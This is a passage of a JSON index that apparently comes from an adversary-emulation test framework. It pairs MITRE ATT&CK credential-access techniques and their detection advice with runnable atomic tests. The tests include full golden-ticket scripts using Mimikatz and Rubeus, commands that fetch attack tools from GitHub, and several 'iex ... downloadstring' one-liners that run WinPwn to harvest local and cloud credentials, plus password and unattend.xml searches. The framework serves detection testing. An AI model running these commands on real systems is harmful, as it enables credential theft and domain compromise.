- "description": "Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification"
- ],
- "x_mitre_system_requirements": [
- "An externally facing login portal is configured."
- ]
- },
- "atomic_tests": []
- },
- "T1003.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ed Williams, Trustwave, SpiderLabs"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
- "type": "attack-pattern",
- "created": "2020-02-21T15:42:25.991Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1003.005",
- "url": "https://attack.mitre.org/techniques/T1003/005"
- },
- {
- "source_name": "Microsoft - Cached Creds",
- "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)",
- "description": "Microsfot. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020."
- },
- {
- "source_name": "PassLib mscache",
- "url": "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html",
- "description": "Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020."
- },
- {
- "source_name": "ired mscache",
- "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials",
- "description": "Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020."
- },
- {
- "url": "https://github.com/mattifestation/PowerSploit",
- "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
- "source_name": "Powersploit"
- }
- ],
- "modified": "2020-03-24T20:41:08.996Z",
- "name": "OS Credential Dumping: Cached Domain Credentials",
- "description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM"
- ],
- "identifier": "T1003.005"
- },
- "atomic_tests": [
- {
- "name": "Cached Credential Dump via Cmdkey",
- "auto_generated_guid": "56506854-89d6-46a3-9804-b7fde90791f9",
- "description": "List credentials currently stored on the host via the built-in Windows utility cmdkey.exe\nCredentials listed with Cmdkey only pertain to the current user\nPasswords will not be displayed once they are stored\nhttps://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey\nhttps://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": false,
- "command": "cmdkey /list\n"
- }
- }
- ]
- },
- "T1558.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Itamar Mizrahi, Cymptom"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1",
- "type": "attack-pattern",
- "created": "2020-02-11T19:13:33.643Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1558.001",
- "url": "https://attack.mitre.org/techniques/T1558/001"
- },
- {
- "url": "https://adsecurity.org/?p=1640",
- "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
- "source_name": "AdSecurity Kerberos GT Aug 2015"
- },
- {
- "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
- "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
- "source_name": "CERT-EU Golden Ticket Protection"
- },
- {
- "url": "https://adsecurity.org/?p=1515",
- "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
- "source_name": "ADSecurity Detecting Forged Tickets"
- },
- {
- "description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory\u2019s Domain Kerberos Service Account. Retrieved January 30, 2020.",
- "url": "https://adsecurity.org/?p=483",
- "source_name": "ADSecurity Kerberos and KRBTGT"
- },
- {
- "source_name": "Stealthbits Detect PtT 2019",
- "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks",
- "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020."
- },
- {
- "source_name": "Microsoft Kerberos Golden Ticket",
- "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285",
- "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020."
- }
- ],
- "modified": "2020-11-05T16:07:03.779Z",
- "name": "Steal or Forge Kerberos Tickets: Golden Ticket",
- "description": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Credential Request",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1558.001"
- },
- "atomic_tests": [
- {
- "name": "Crafting Active Directory golden tickets with mimikatz",
- "auto_generated_guid": "9726592a-dabc-4d4d-81cd-44070008b3af",
- "description": "Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.\nThis test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).\nThe generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domain_sid": {
- "description": "SID of the targeted domain, if you keep default it will automatically get the current domain SID",
- "type": "string",
- "default": "S-1-5-21-DEFAULT"
- },
- "domain": {
- "description": "Targeted Active Directory domain FQDN",
- "type": "string",
- "default": "%userdnsdomain%"
- },
- "account": {
- "description": "Account to impersonate",
- "type": "string",
- "default": "goldenticketfakeuser"
- },
- "krbtgt_aes256_key": {
- "description": "Krbtgt AES256 key (you will need to set to match your krbtgt key for your domain)",
- "type": "string",
- "default": "b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9"
- },
- "mimikatz_path": {
- "description": "Mimikatz windows executable",
- "type": "path",
- "default": "$env:TEMP\\mimikatz\\x64\\mimikatz.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n",
- "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match \"DEFAULT\") {\n # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to golden.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\"\n>%TEMP%\\golden.txt 2>&1 (\n echo Purge existing tickets and create golden ticket:\n klist purge\n #{mimikatz_path} \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{krbtgt_aes256_key} /user:#{account} /ptt\" \"exit\"\n\n echo.\n echo Requesting SYSVOL:\n dir \\\\#{domain}\\SYSVOL\n \n echo.\n echo Tickets after requesting SYSVOL:\n klist\n\n echo.\n echo End of Golden Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Golden Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n"
- }
- },
- {
- "name": "Crafting Active Directory golden tickets with Rubeus",
- "auto_generated_guid": "e42d33cd-205c-4acf-ab59-a9f38f6bad9c",
- "description": "Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain.\nThis test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769).\nThe generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domaincontroller": {
- "description": "Targeted Active Directory domain FQDN",
- "type": "string",
- "default": "$ENV:logonserver.TrimStart('\\') + \".\" + \"$ENV:userdnsdomain\""
- },
- "account": {
- "description": "Account to impersonate",
- "type": "string",
- "default": "$ENV:username"
- },
- "krbtgt_aes256_key": {
- "description": "Krbtgt AES256 key (you will need to set to match your krbtgt key for your domain)",
- "type": "string",
- "default": "b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9"
- },
- "local_folder": {
- "description": "Local path of Rubeus executable",
- "type": "path",
- "default": "$Env:temp"
- },
- "local_executable": {
- "description": "name of the rubeus executable",
- "type": "string",
- "default": "rubeus.exe"
- },
- "rubeus_url": {
- "description": "URL of Rubeus executable",
- "type": "url",
- "default": "https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Computer must be domain joined\n",
- "prereq_command": "if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Write-Host Joining this computer to a domain must be done manually\n"
- },
- {
- "description": "Rubeus must exist\n",
- "prereq_command": "if(Test-Path -Path #{local_folder}\\#{local_executable}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\\#{local_executable}\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": false,
- "command": "Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n\ncmd.exe /c \"#{local_folder}\\#{local_executable}\" golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller}) /printcmd /outfile:golden\n$filename = (Get-ChildItem | ? {$_.Name.startswith(\"golden_\")} | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to golden.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\"\n>%TEMP%\\golden.txt 2>&1 (\n echo Purge existing tickets and create golden ticket:\n klist purge\n cd %temp%\n \"#{local_folder}\\#{local_executable}\" ptt /ticket:kirbifile\n\n echo.\n echo Requesting SYSVOL:\n dir \\\\$(#{domaincontroller})\\SYSVOL\n \n echo.\n echo Tickets after requesting SYSVOL:\n klist\n\n echo.\n echo End of Golden Ticket attack\n)\n\"@ -Replace \"kirbifile\", $filename | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Golden Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n"
- }
- }
- ]
- },
- "T1552.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3",
- "type": "attack-pattern",
- "created": "2020-02-04T13:02:11.685Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1552.003",
- "url": "https://attack.mitre.org/techniques/T1552/003"
- },
- {
- "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
- "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
- "source_name": "External to DA, the OS X Way"
- }
- ],
- "modified": "2022-03-08T21:34:44.728Z",
- "name": "Unsecured Credentials: Bash History",
- "description": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history
file. For each user, this file resides at the same location: ~/.bash_history
. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitoring when the user's .bash_history
is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history
.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Access"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1552.003"
- },
- "atomic_tests": []
- },
- "T1552.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Linux",
- "macOS",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Rory McCune, Aqua Security",
- "Jay Chen, Palo Alto Networks",
- "Yossi Weizman, Azure Defender Research Team",
- "Vishwas Manral, McAfee",
- "Microsoft Threat Intelligence Center (MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
- "type": "attack-pattern",
- "created": "2020-02-04T12:52:13.006Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1552.001",
- "url": "https://attack.mitre.org/techniques/T1552/001"
- },
- {
- "external_id": "CAPEC-639",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/639.html"
- },
- {
- "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html",
- "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.",
- "source_name": "CG 2014"
- },
- {
- "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx",
- "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.",
- "source_name": "SRD GPP"
- },
- {
- "source_name": "Unit 42 Hildegard Malware",
- "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
- "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."
- },
- {
- "source_name": "Unit 42 Unsecured Docker Daemons",
- "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/",
- "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021."
- },
- {
- "source_name": "Specter Ops - Cloud Credential Storage",
- "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48",
- "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019."
- }
- ],
- "modified": "2021-04-12T18:32:32.803Z",
- "name": "Unsecured Credentials: Credentials In Files",
- "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Access"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "User"
- ],
- "x_mitre_system_requirements": [
- "Access to files"
- ],
- "identifier": "T1552.001"
- },
- "atomic_tests": [
- {
- "name": "Extracting passwords with findstr",
- "auto_generated_guid": "0e56bf29-ff49-4ea5-9af4-3b81283fd513",
- "description": "Extracting Credentials from Files. Upon execution, the contents of files that contain the word \"password\" will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "findstr /si pass *.xml *.doc *.txt *.xls\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\n",
- "name": "powershell"
- }
- },
- {
- "name": "Access unattend.xml",
- "auto_generated_guid": "367d4004-5fc0-446d-823f-960c74ae52c3",
- "description": "Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored.\nIf these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "type C:\\Windows\\Panther\\unattend.xml\ntype C:\\Windows\\Panther\\Unattend\\unattend.xml\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "WinPwn - sensitivefiles",
- "auto_generated_guid": "114dd4e3-8d1c-4ea7-bb8d-8d8f6aca21f0",
- "description": "Search for sensitive files on this local system using the SensitiveFiles function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsensitivefiles -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - Snaffler",
- "auto_generated_guid": "fdd0c913-714b-4c13-b40f-1824d6c015f2",
- "description": "Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSnaffler -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - powershellsensitive",
- "auto_generated_guid": "75f66e03-37d3-4704-9520-3210efbe33ce",
- "description": "Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowershellsensitive -consoleoutput -noninteractive",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - passhunt",
- "auto_generated_guid": "00e3e3c7-6c3c-455e-bd4b-461c7f0e7797",
- "description": "Search for Passwords on this system using passhunt via WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npasshunt -local $true -noninteractive",
- "cleanup_command": "rm -force .\\passhunt.exe -ErrorAction Ignore\nrm -force .\\phunter* -ErrorAction Ignore\nrm -force -recurse .\\DomainRecon -ErrorAction Ignore\nrm -force -recurse .\\Exploitation -ErrorAction Ignore\nrm -force -recurse .\\LocalPrivEsc -ErrorAction Ignore\nrm -force -recurse .\\LocalRecon -ErrorAction Ignore\nrm -force -recurse .\\Vulnerabilities -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - SessionGopher",
- "auto_generated_guid": "c9dc9de3-f961-4284-bd2d-f959c9f9fda5",
- "description": "Launches SessionGopher on this system via WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsessionGopher -noninteractive -consoleoutput",
- "name": "powershell"
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials",
- "auto_generated_guid": "aaa87b0e-5232-4649-ae5c-f1724a4b2798",
- "description": "Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nSharpCloud -consoleoutput -noninteractive ",
- "name": "powershell"
- }
- }
- ]
- },
- "T1606.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "SaaS",
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jen Burns, HubSpot"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a",
- "type": "attack-pattern",
- "created": "2020-12-17T02:14:34.178Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1606.001",
- "url": "https://attack.mitre.org/techniques/T1606/001"
- },
- {
- "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
- "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
- "source_name": "Pass The Cookie"
- },
- {
- "source_name": "Volexity SolarWinds",
